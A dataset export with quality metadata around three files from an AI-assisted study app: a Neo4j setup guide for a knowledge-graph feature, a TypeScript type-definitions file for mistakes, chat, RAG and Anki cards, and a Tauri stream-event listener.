"qsc_doc_frac_chars_alphabet": null, "qsc_doc_frac_chars_digital": 0.01017728, "qsc_doc_frac_chars_whitespace": 0.22037369, "qsc_doc_frac_chars_hex_words": 0.0}
|
1
|
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_full_bracket": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
|
000haoji/deep-student
|
COGNI-GRAPH-SETUP.md
|
# CogniGraph Neo4j Setup Guide
## Quick Setup Options
### Option 1: Docker (Recommended)
```bash
# Run Neo4j with default credentials
docker run \
--name neo4j-cogni \
--publish=7474:7474 \
--publish=7687:7687 \
--env=NEO4J_AUTH=neo4j/password \
neo4j:latest
```
Then use these settings in the CogniGraph interface:
- **URI**: `bolt://localhost:7687`
- **Username**: `neo4j`
- **Password**: `password`
### Option 2: Neo4j Desktop
1. Download Neo4j Desktop: https://neo4j.com/download/
2. Create a new project and database
3. Set password during setup
4. Start the database
5. Use the connection details shown in Neo4j Desktop
### Option 3: Neo4j Community Edition
1. Download from: https://neo4j.com/download-center/#community
2. Install and configure
3. Set initial password with: `neo4j-admin set-initial-password yourpassword`
4. Start Neo4j service
## Connection Configuration
In the CogniGraph interface, update the connection settings:
```
URI: bolt://localhost:7687
Username: neo4j
Password: [your-password]
```
## Troubleshooting
### Authentication Failure
- Ensure Neo4j is running
- Verify username/password are correct
- Check if you need to change the default password
### Connection Refused
- Check Neo4j is running on port 7687
- Verify firewall settings
- Ensure bolt connector is enabled
### Version Compatibility
- Neo4j 4.4+ recommended
- Neo4j 5.11+ for vector search features
- Community Edition is sufficient for basic features
## Testing Connection
1. Open the CogniGraph interface
2. Enter your connection details
3. Click "测试连接" (Test Connection)
4. If successful, click "初始化图谱" (Initialize Graph)
## Default Credentials
If using Docker or fresh installation:
- Username: `neo4j`
- Password: `password` (or your chosen password)
| 1,782
|
COGNI-GRAPH-SETUP
|
md
|
en
|
markdown
|
text
|
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": 0.10840108, "qsc_doc_num_sentences": 18.0, "qsc_doc_num_words": 238, "qsc_doc_num_chars": 1782.0, "qsc_doc_num_lines": 72.0, "qsc_doc_mean_word_length": 5.58403361, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.47478992, "qsc_doc_entropy_unigram": 4.38688324, "qsc_doc_frac_words_all_caps": 0.00813008, "qsc_doc_frac_lines_dupe_lines": 0.05357143, "qsc_doc_frac_chars_dupe_lines": 0.00530348, "qsc_doc_frac_chars_top_2grams": 0.03912716, "qsc_doc_frac_chars_top_3grams": 0.0496614, "qsc_doc_frac_chars_top_4grams": 0.03611738, "qsc_doc_frac_chars_dupe_5grams": 0.06170053, "qsc_doc_frac_chars_dupe_6grams": 0.06170053, "qsc_doc_frac_chars_dupe_7grams": 0.06170053, "qsc_doc_frac_chars_dupe_8grams": 0.0, "qsc_doc_frac_chars_dupe_9grams": 0.0, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 0.0, "qsc_doc_num_chars_sentence_length_mean": 19.03370787, "qsc_doc_frac_chars_hyperlink_html_tag": 0.0, "qsc_doc_frac_chars_alphabet": 0.83432737, "qsc_doc_frac_chars_digital": 0.04638834, "qsc_doc_frac_chars_whitespace": 0.15319865, "qsc_doc_frac_chars_hex_words": 0.0}
|
1
|
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
|
000haoji/deep-student
|
src/types/index.ts
|
/**
* Unified Type Definitions
*
* Consolidates all TypeScript interfaces and types used throughout the application
* to improve maintainability and consistency.
*/
// ============================================================================
// Core Data Models (matching backend Rust structs)
// ============================================================================
export interface RagSourceInfo {
document_id: string;
file_name: string;
chunk_text: string;
score: number;
chunk_index: number;
}
// 多模态内容块类型
export type ChatMessageContentPart =
| { type: 'text'; text: string }
| { type: 'image_url'; image_url: { url: string; detail?: 'low' | 'high' | 'auto' } };
// 追问时上传的图片文件基本信息
export interface UploadedImageInfo {
id: string; // 临时客户端ID
name: string;
type: string; // MIME type
base64_data: string; // 图片的Base64编码
file?: File; // 原始File对象，可选
}
// 用于编辑错题时的表单数据结构
export interface MistakeEditForm {
user_question: string;
tags: string; // 逗号分隔的字符串
mistake_type: string;
}
export interface ChatMessage {
id?: string; // 消息的唯一ID，前端生成或后端返回
role: 'user' | 'assistant' | 'system';
content: string | ChatMessageContentPart[]; // 支持旧的字符串格式和新的多模态数组格式
timestamp: string;
thinking_content?: string;
rag_sources?: RagSourceInfo[];
// 🎯 修复BUG-05：新增图片字段支持多模态对话
image_paths?: string[]; // 用户消息中包含的图片路径
image_base64?: string[]; // 备用：base64编码的图片数据
}
export interface MistakeItem {
id: string;
subject: string;
created_at: string;
question_images: string[]; // 后端返回的本地文件路径
analysis_images: string[]; // 后端返回的本地文件路径
user_question: string;
ocr_text: string;
tags: string[];
mistake_type: string;
status: string; // "analyzing", "completed", "error", "summary_required"
updated_at: string;
chat_history: ChatMessage[];
// 前端生成的用于显示的图片URLs（从question_images转换而来）
question_image_urls?: string[];
// 新增字段：错题总结相关
mistake_summary?: string | null; // 错题简要解析：题目要点、正确解法、关键知识点
user_error_analysis?: string | null; // 用户错误分析：错误原因、思维误区、薄弱点总结
}
export interface SubjectConfig {
id: string;
subject_name: string;
display_name: string;
description: string;
is_enabled: boolean;
prompts: SubjectPrompts;
mistake_types: string[];
default_tags: string[];
created_at: string;
updated_at: string;
}
export interface SubjectPrompts {
analysis_prompt: string;
review_prompt: string;
chat_prompt: string;
ocr_prompt: string;
classification_prompt: string;
consolidated_review_prompt: string;
anki_generation_prompt: string;
}
// ============================================================================
// API Request/Response Types
// ============================================================================
export interface AnalysisRequest {
subject: string;
question_image_files: string[]; // Base64编码的图片字符串
analysis_image_files: string[]; // Base64编码的图片字符串
user_question: string;
enable_chain_of_thought?: boolean;
}
export interface AnalysisResponse {
temp_id: string;
initial_data: InitialAnalysisData;
}
export interface InitialAnalysisData {
ocr_text: string;
tags: string[];
mistake_type: string;
first_answer: string;
}
export interface ContinueChatRequest {
temp_id: string;
chat_history: ChatMessage[];
enable_chain_of_thought?: boolean;
}
export interface ContinueChatResponse {
new_assistant_message: string;
}
export interface SaveMistakeRequest {
temp_id: string;
final_chat_history: ChatMessage[];
}
export interface SaveMistakeResponse {
success: boolean;
final_mistake_item?: MistakeItem;
}
// ============================================================================
// API Configuration Types
// ============================================================================
export interface ApiConfig {
id: string;
name: string;
apiKey: string;
baseUrl: string;
model: string;
isMultimodal: boolean;
isReasoning: boolean;
enabled: boolean;
modelAdapter: string;
}
export interface ModelAssignments {
model1_config_id: string | null;
model2_config_id: string | null;
review_analysis_model_config_id: string | null;
anki_card_model_config_id: string | null;
embedding_model_config_id: string | null;
reranker_model_config_id: string | null;
}
export type ModelAdapter = 'openai' | 'anthropic' | 'google' | 'custom';
// ============================================================================
// System Settings Types
// ============================================================================
export interface SystemSettings {
autoSave: boolean;
theme: 'light' | 'dark' | 'auto';
language: string;
enableNotifications: boolean;
maxChatHistory: number;
debugMode: boolean;
enableAnkiConnect: boolean;
}
// ============================================================================
// UI Component Types
// ============================================================================
export interface NotificationMessage {
id: string;
type: 'success' | 'error' | 'warning' | 'info';
title?: string;
text: string;
duration?: number;
persistent?: boolean;
}
export interface StreamChunk {
content: string;
is_complete: boolean;
chunk_id: string;
}
export interface StreamMessage {
id: string;
role: 'user' | 'assistant' | 'system';
content: string;
thinking_content?: string;
timestamp: string;
}
export interface StreamOptions {
enableChainOfThought?: boolean;
onChunk?: (chunk: string) => void;
onThinking?: (thinking: string) => void;
onComplete?: (fullResponse: string, thinkingContent?: string) => void;
onError?: (error: string) => void;
onProgress?: (progress: { content: string; thinking?: string }) => void;
}
export interface StreamRequest {
type: 'analysis' | 'chat' | 'continue_chat';
tempId?: string;
mistakeId?: number;
imageData?: string;
userInput?: string;
chatHistory?: StreamMessage[];
enableChainOfThought?: boolean;
}
// ============================================================================
// Batch Analysis Types
// ============================================================================
export interface BatchTask {
id: string; // 唯一ID (前端生成, e.g., UUID)
subject: string; // 科目
questionImages: File[]; // 题目图片文件列表
questionImageUrls?: string[]; // 题目图片预览URL (前端生成)
analysisImages: File[]; // 解析辅助图片文件列表 (可选)
analysisImageUrls?: string[]; // 解析辅助图片预览URL (前端生成, 可选)
userQuestion: string; // 用户问题描述
// 用于持久化存储的Base64数据 (仅在序列化时使用)
questionImagesBase64?: Array<{
base64: string;
name: string;
type: string;
size: number;
}>;
analysisImagesBase64?: Array<{
base64: string;
name: string;
type: string;
size: number;
}>;
status: 'pending' | // 待处理
'ocr_processing' | // OCR识别与初步分析中
'awaiting_stream_start' | // 等待AI解答流开始
'streaming_answer' | // AI解答流式处理中
'completed' | // 处理完成
'error_ocr' | // OCR或初步分析阶段错误
'error_stream' | // AI解答流阶段错误
'saving'; // 保存到错题库中 (可选状态)
temp_id: string | null; // 后端分析会话ID (来自 analyzeStepByStep)
ocr_result: { // OCR及初步分类结果 (来自 analyzeStepByStep)
ocr_text: string;
tags: string[];
mistake_type: string;
} | null;
chatHistory: ChatMessage[]; // 该任务的完整聊天记录 (包括AI的回答和用户的追问)
thinkingContent: Map<number, string>; // 思维链内容 (key为chatHistory中的消息索引)
// 用于流式处理的临时状态 (在BatchTask对象内部管理，而非全局)
currentFullContentForStream: string;
currentThinkingContentForStream: string;
errorDetails?: string; // 详细错误信息
progress?: number; // 0-100, 用于流式处理时的进度显示 (可选)
}
// ============================================================================
// Batch Operations Types
// ============================================================================
export interface BatchOperationResult {
success: boolean;
processed_count: number;
message: string;
}
export interface BatchDeleteRequest {
mistake_ids: string[];
}
export interface BatchUpdateStatusRequest {
updates: Record<string, string>; // mistake_id -> new_status
}
export interface BatchUpdateTagsRequest {
updates: Record<string, string[]>; // mistake_id -> new_tags
}
export interface BatchCleanupRequest {
archive_days?: number;
}
export interface BatchCleanupResult {
orphaned_messages_cleaned: number;
mistakes_archived: number;
message: string;
}
export interface BatchExportRequest {
mistake_ids: string[];
}
// ============================================================================
// Database Query Types
// ============================================================================
export interface OptimizedGetMistakesRequest {
subject_filter?: string;
type_filter?: string;
tags_filter?: string[];
limit?: number;
offset?: number;
}
export interface FullTextSearchRequest {
search_term: string;
subject_filter?: string;
limit?: number;
}
export interface DateRangeRequest {
start_date: string; // RFC3339 format
end_date: string; // RFC3339 format
subject_filter?: string;
}
// ============================================================================
// Statistics Types
// ============================================================================
export interface Statistics {
total_mistakes: number;
total_reviews: number;
subject_stats: Record<string, number>;
type_stats: Record<string, number>;
tag_stats: Record<string, number>;
recent_mistakes: any[];
}
// ============================================================================
// File Management Types
// ============================================================================
export interface ImageFile {
file: File;
preview: string;
id: string;
}
export interface FileUploadResult {
success: boolean;
path?: string;
error?: string;
}
// ============================================================================
// Component Props Types
// ============================================================================
export interface BaseComponentProps {
className?: string;
children?: React.ReactNode;
}
export interface ModalProps extends BaseComponentProps {
isOpen: boolean;
onClose: () => void;
title?: string;
}
export interface FormProps extends BaseComponentProps {
onSubmit: (data: any) => void | Promise<void>;
loading?: boolean;
disabled?: boolean;
}
export interface ListProps<T> extends BaseComponentProps {
items: T[];
renderItem: (item: T, index: number) => React.ReactNode;
loading?: boolean;
empty?: React.ReactNode;
}
export interface PaginationProps {
currentPage: number;
totalPages: number;
onPageChange: (page: number) => void;
pageSize?: number;
total?: number;
}
// ============================================================================
// Error Handling Types
// ============================================================================
export interface AppError {
type: 'validation' | 'network' | 'server' | 'unknown';
message: string;
details?: any;
code?: string;
}
export type AsyncResult<T> = {
data?: T;
error?: AppError;
loading: boolean;
};
// ============================================================================
// Hook Return Types
// ============================================================================
export interface UseApiConfigReturn {
apiConfigs: ApiConfig[];
modelAssignments: ModelAssignments;
loading: boolean;
saving: boolean;
testingApi: string | null;
loadApiConfigs: () => Promise<void>;
saveApiConfigs: (configs: ApiConfig[]) => Promise<boolean>;
saveModelAssignments: (assignments: ModelAssignments) => Promise<boolean>;
testApiConnection: (config: ApiConfig) => Promise<boolean>;
addApiConfig: (config: Omit<ApiConfig, 'id'>) => ApiConfig;
updateApiConfig: (id: string, updates: Partial<ApiConfig>) => ApiConfig | undefined;
deleteApiConfig: (id: string) => ApiConfig[];
getMultimodalConfigs: () => ApiConfig[];
getEnabledConfigs: () => ApiConfig[];
getConfigById: (id: string | null) => ApiConfig | null;
validateModelAssignments: () => string[];
}
export interface UseSystemSettingsReturn {
settings: SystemSettings;
loading: boolean;
saving: boolean;
loadSettings: () => Promise<void>;
saveSetting: <K extends keyof SystemSettings>(key: K, value: SystemSettings[K]) => Promise<boolean>;
saveAllSettings: (newSettings: SystemSettings) => Promise<boolean>;
resetSettings: () => Promise<boolean>;
updateSetting: <K extends keyof SystemSettings>(key: K, value: SystemSettings[K]) => void;
updateSettings: (updates: Partial<SystemSettings>) => void;
applyTheme: (theme: string) => Promise<boolean>;
validateSettings: (settingsToValidate: Partial<SystemSettings>) => string[];
getSettingsSummary: () => any;
isAutoSaveEnabled: boolean;
isDarkTheme: boolean;
isDebugMode: boolean;
}
export interface UseNotificationReturn {
notifications: NotificationMessage[];
hasNotifications: boolean;
showNotification: (type: NotificationMessage['type'], text: string, options?: any) => string;
removeNotification: (id: string) => void;
clearAllNotifications: () => void;
updateNotification: (id: string, updates: Partial<Omit<NotificationMessage, 'id'>>) => void;
showSuccess: (text: string, options?: any) => string;
showError: (text: string, options?: any) => string;
showWarning: (text: string, options?: any) => string;
showInfo: (text: string, options?: any) => string;
showLoading: (text: string, options?: any) => string;
hasNotificationType: (type: NotificationMessage['type']) => boolean;
getNotificationCount: (type?: NotificationMessage['type']) => number;
showBatchResult: (results: { success: number; failed: number; total: number }, operation: string) => void;
showOperationProgress: (operation: string, current: number, total: number) => string;
}
// ============================================================================
// Utility Types
// ============================================================================
export type DeepPartial<T> = {
[P in keyof T]?: T[P] extends object ? DeepPartial<T[P]> : T[P];
};
export type RequiredKeys<T, K extends keyof T> = T & Required<Pick<T, K>>;
export type OptionalKeys<T, K extends keyof T> = Omit<T, K> & Partial<Pick<T, K>>;
export type KeyOf<T> = keyof T;
export type ValueOf<T> = T[keyof T];
// ============================================================================
// Event Types
// ============================================================================
export interface CustomEvent<T = any> {
type: string;
payload: T;
timestamp: number;
}
export type EventHandler<T = any> = (event: CustomEvent<T>) => void;
// ============================================================================
// Theme Types
// ============================================================================
export interface ThemeColors {
primary: string;
secondary: string;
accent: string;
background: string;
surface: string;
text: string;
textSecondary: string;
border: string;
error: string;
warning: string;
success: string;
info: string;
}
export interface Theme {
name: string;
colors: ThemeColors;
spacing: {
xs: string;
sm: string;
md: string;
lg: string;
xl: string;
};
typography: {
fontFamily: string;
fontSize: {
xs: string;
sm: string;
md: string;
lg: string;
xl: string;
};
};
borderRadius: string;
shadows: {
sm: string;
md: string;
lg: string;
};
}
// ============================================================================
// Review Analysis Types (new feature)
// ============================================================================
export interface ReviewSessionTask {
id: string; // 回顾分析会话的唯一ID (前端生成或后端返回后设置)
name: string; // 用户为该回顾任务设定的名称 (e.g., "期中数学复习 - 函数部分")
creationDate: string; // 创建日期 (ISO 8601)
subject: string; // 所属科目
mistakeIds: string[]; // 参与此次回顾分析的原始错题ID列表
userConsolidatedInput: string; // 前端整合的包含多个错题信息和用户引导问题的长文本
userOverallPrompt: string; // 用户针对此次回顾的总体性问题或分析指引
status: 'pending' | // 待处理（刚创建，未开始分析）
'processing_setup' | // 后端正在设置会话
'awaiting_stream_start' | // 等待AI解答流开始
'streaming_answer' | // AI解答流式处理中
'completed' | // 处理完成
'error_setup' | // 后端设置阶段错误
'error_stream'; // AI解答流阶段错误
review_session_id: string | null; // 后端分析会话ID (用于流式通信)
// 存储针对整合后输入的单一AI分析结果
chatHistory: ChatMessage[]; // 本次回顾分析的完整聊天记录 (用户总体问题 + AI统一回答 + 后续追问)
thinkingContent: Map<number, string>; // 本次回顾分析的思维链内容 (key为chatHistory中的消息索引)
// 用于流式处理的临时状态
currentFullContentForStream: string;
currentThinkingContentForStream: string;
errorDetails?: string; // 详细错误信息
}
// 回顾分析相关的API请求/响应类型
export interface StartConsolidatedReviewAnalysisRequest {
subject: string;
consolidatedInput: string;
overallPrompt: string;
enableChainOfThought: boolean;
mistakeIds: string[]; // 参与回顾分析的错题ID列表
}
export interface StartConsolidatedReviewAnalysisResponse {
review_session_id: string;
}
export interface TriggerConsolidatedReviewStreamRequest {
reviewSessionId: string;
enableChainOfThought: boolean;
}
export interface ContinueConsolidatedReviewStreamRequest {
reviewSessionId: string;
chatHistory: ChatMessage[];
enableChainOfThought: boolean;
}
// 数据整合引擎使用的类型
export interface MistakeConsolidationData {
mistakeId: string;
ocr_text: string;
user_question: string;
chat_history: ChatMessage[];
}
export interface ConsolidatedMistakeData {
selectedMistakes: MistakeConsolidationData[];
consolidatedText: string;
userOverallPrompt: string;
}
// ============================================================================
// Mistake Summary Generation Types
// ============================================================================
export interface GenerateMistakeSummaryRequest {
mistake_id: string;
force_regenerate?: boolean; // 是否强制重新生成总结
}
export interface GenerateMistakeSummaryResponse {
success: boolean;
mistake_summary?: string | null;
user_error_analysis?: string | null;
error_message?: string | null;
}
// ============================================================================
// ANKI Card Generation Types
// ============================================================================
export interface AnkiCard {
front: string;
back: string;
text?: string; // 填空题使用的字段
tags: string[];
images: string[];
}
// ANKI卡片模板定义
export interface AnkiCardTemplate {
id: string;
name: string;
description: string;
preview_front: string;
preview_back: string;
front_template: string;
back_template: string;
css_style: string;
note_type: string; // 对应的Anki笔记类型
generation_prompt: string; // 每个模板专门的生成prompt
fields: string[]; // 模板包含的字段列表
}
// 自定义ANKI模板系统类型定义
export type FieldType = 'Text' | 'Array' | 'Number' | 'Boolean';
export interface FieldExtractionRule {
field_type: FieldType;
is_required: boolean;
default_value?: string;
validation_pattern?: string; // 正则表达式
description: string;
}
export interface CustomAnkiTemplate {
id: string;
name: string;
description: string;
author?: string;
version: string;
preview_front: string;
preview_back: string;
note_type: string;
fields: string[];
generation_prompt: string;
front_template: string;
back_template: string;
css_style: string;
field_extraction_rules: Record<string, FieldExtractionRule>;
created_at: string;
updated_at: string;
is_active: boolean;
is_built_in: boolean;
}
export interface CreateTemplateRequest {
name: string;
description: string;
author?: string;
preview_front: string;
preview_back: string;
note_type: string;
fields: string[];
generation_prompt: string;
front_template: string;
back_template: string;
css_style: string;
field_extraction_rules: Record<string, FieldExtractionRule>;
}
export interface UpdateTemplateRequest {
name?: string;
description?: string;
author?: string;
preview_front?: string;
preview_back?: string;
note_type?: string;
fields?: string[];
generation_prompt?: string;
front_template?: string;
back_template?: string;
css_style?: string;
field_extraction_rules?: Record<string, FieldExtractionRule>;
is_active?: boolean;
}
export interface TemplateImportRequest {
template_data: string; // JSON格式的模板数据
overwrite_existing: boolean;
}
export interface TemplateExportResponse {
template_data: string; // JSON格式的模板数据
filename: string;
}
export interface AnkiGenerationOptions {
deck_name: string;
note_type: string;
enable_images: boolean;
max_cards_per_mistake: number;
max_tokens?: number;
temperature?: number;
template_id?: string; // 选择的模板ID
custom_anki_prompt?: string; // 模板专用的生成prompt
template_fields?: string[]; // 模板包含的字段列表
field_extraction_rules?: Record<string, FieldExtractionRule>; // 字段提取规则用于动态解析
custom_requirements?: string; // 用户自定义制卡要求
segment_overlap_size?: number; // 任务间重叠区域大小（字符数）
system_prompt?: string; // 用户自定义系统 prompt
}
export interface AnkiDocumentGenerationRequest {
document_content: string;
subject_name: string;
options?: AnkiGenerationOptions;
}
export interface AnkiDocumentGenerationResponse {
success: boolean;
cards: AnkiCard[];
error_message?: string;
}
export interface AnkiCardGenerationResponse {
success: boolean;
cards: AnkiCard[];
error_message?: string;
}
export interface AnkiExportResponse {
success: boolean;
file_path?: string;
card_count: number;
error_message?: string;
}
export interface AnkiConnectResult {
success: boolean;
result?: any;
error?: string;
}
// ============================================================================
// RAG Knowledge Base Types
// ============================================================================
export interface DocumentChunk {
id: string;
document_id: string;
chunk_index: number;
text: string;
metadata: Record<string, string>;
}
export interface RetrievedChunk {
chunk: DocumentChunk;
score: number;
}
export interface RagQueryOptions {
top_k: number;
enable_reranking?: boolean;
}
export interface RagQueryResponse {
retrieved_chunks: RetrievedChunk[];
query_vector_time_ms: number;
search_time_ms: number;
reranking_time_ms?: number;
total_time_ms: number;
}
export interface KnowledgeBaseStatusPayload {
total_documents: number;
total_chunks: number;
embedding_model_name?: string;
vector_store_type: string;
}
export interface DocumentUploadRequest {
file_paths: string[];
chunk_size?: number;
chunk_overlap?: number;
enable_preprocessing?: boolean;
}
export interface DocumentProcessingStatus {
document_id: string;
file_name: string;
status: DocumentProcessingStage;
progress: number;
error_message?: string;
chunks_processed: number;
total_chunks: number;
}
export type DocumentProcessingStage =
| 'Pending'
| 'Reading'
| 'Preprocessing'
| 'Chunking'
| 'Embedding'
| 'Storing'
| 'Completed'
| 'Failed';
export interface RagSettings {
knowledge_base_path: string;
default_embedding_model_id?: string;
default_reranker_model_id?: string;
default_top_k: number;
enable_rag_by_default: boolean;
}
export interface RagEnhancedAnalysisRequest {
temp_id: string;
enable_chain_of_thought: boolean;
enable_rag?: boolean;
rag_options?: RagQueryOptions;
}
export interface RagEnhancedChatRequest {
temp_id: string;
chat_history: ChatMessage[];
enable_chain_of_thought?: boolean;
enable_rag?: boolean;
rag_options?: RagQueryOptions;
}
// RAG文档信息
export interface RagDocument {
id: string;
file_name: string;
file_path?: string;
file_size?: number;
total_chunks: number;
created_at: string;
updated_at: string;
}
// RAG处理事件
export interface RagProcessingEvent {
id: string;
status: string;
progress: number;
message: string;
timestamp: string;
}
export interface RagDocumentStatusEvent {
document_id: string;
file_name: string;
status: DocumentProcessingStage;
progress: number;
error_message?: string;
chunks_processed: number;
total_chunks: number;
}
// ============================================================================
// Export all types for easy importing
// ============================================================================
// 所有类型都已经在上面定义并导出，无需重复导出
| 24,458
|
index
|
ts
|
en
|
typescript
|
code
|
{"qsc_code_num_words": 2078, "qsc_code_num_chars": 24458.0, "qsc_code_mean_word_length": 7.15736285, "qsc_code_frac_words_unique": 0.28488932, "qsc_code_frac_chars_top_2grams": 0.08471727, "qsc_code_frac_chars_top_3grams": 0.03247495, "qsc_code_frac_chars_top_4grams": 0.01129564, "qsc_code_frac_chars_dupe_5grams": 0.2148188, "qsc_code_frac_chars_dupe_6grams": 0.17225845, "qsc_code_frac_chars_dupe_7grams": 0.1483897, "qsc_code_frac_chars_dupe_8grams": 0.12458818, "qsc_code_frac_chars_dupe_9grams": 0.11651987, "qsc_code_frac_chars_dupe_10grams": 0.09527331, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00202166, "qsc_code_frac_chars_whitespace": 0.15058468, "qsc_code_size_file_byte": 24458.0, "qsc_code_num_lines": 914.0, "qsc_code_num_chars_line_max": 109.0, "qsc_code_num_chars_line_mean": 26.75929978, "qsc_code_frac_chars_alphabet": 0.71383875, "qsc_code_frac_chars_comments": 0.23354322, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.35479256, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02507068, "qsc_code_frac_chars_long_word_length": 0.00224036, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/utils/streamHandler.ts
|
import { listen } from '@tauri-apps/api/event';
export interface StreamChunk {
content: string;
is_complete: boolean;
chunk_id: string;
}
export class StreamHandler {
private listeners: Map<string, (chunk: StreamChunk) => void> = new Map();
private unlistenFunctions: Map<string, () => void> = new Map();
// 开始监听流式事件
async startListening(eventName: string, onChunk: (chunk: StreamChunk) => void): Promise<void> {
// 如果已经在监听这个事件，先停止
if (this.unlistenFunctions.has(eventName)) {
this.stopListening(eventName);
}
this.listeners.set(eventName, onChunk);
try {
const unlisten = await listen<StreamChunk>(eventName, (event) => {
const chunk = event.payload;
// 详细的控制台调试输出
console.group(`🔄 流式数据 [${eventName}]`);
console.log('📦 数据块ID:', chunk.chunk_id);
console.log('📝 内容长度:', chunk.content.length);
console.log('✅ 是否完成:', chunk.is_complete);
if (chunk.content.length > 0) {
console.log('📄 内容预览:', chunk.content.length > 100 ?
chunk.content.substring(0, 100) + '...' : chunk.content);
}
console.groupEnd();
// 如果内容不为空，显示实时内容
if (chunk.content.length > 0) {
console.log(`💬 实时输出: ${chunk.content}`);
}
// 调用回调函数处理数据块
onChunk(chunk);
// 如果流完成，自动停止监听
if (chunk.is_complete) {
console.log(`🎉 流式输出完成 [${eventName}]`);
this.stopListening(eventName);
}
});
this.unlistenFunctions.set(eventName, unlisten);
console.log(`🎧 开始监听流式事件: ${eventName}`);
} catch (error) {
console.error(`❌ 监听流式事件失败 [${eventName}]:`, error);
throw error;
}
}
// 停止监听流式事件
stopListening(eventName: string): void {
const unlisten = this.unlistenFunctions.get(eventName);
if (unlisten) {
unlisten();
this.unlistenFunctions.delete(eventName);
this.listeners.delete(eventName);
console.log(`停止监听流式事件: ${eventName}`);
}
}
// 停止所有监听
stopAllListening(): void {
for (const eventName of this.unlistenFunctions.keys()) {
this.stopListening(eventName);
}
}
// 检查是否正在监听某个事件
isListening(eventName: string): boolean {
return this.unlistenFunctions.has(eventName);
}
}
// 创建全局实例
export const streamHandler = new StreamHandler();
| 2,365
|
streamHandler
|
ts
|
en
|
typescript
|
code
|
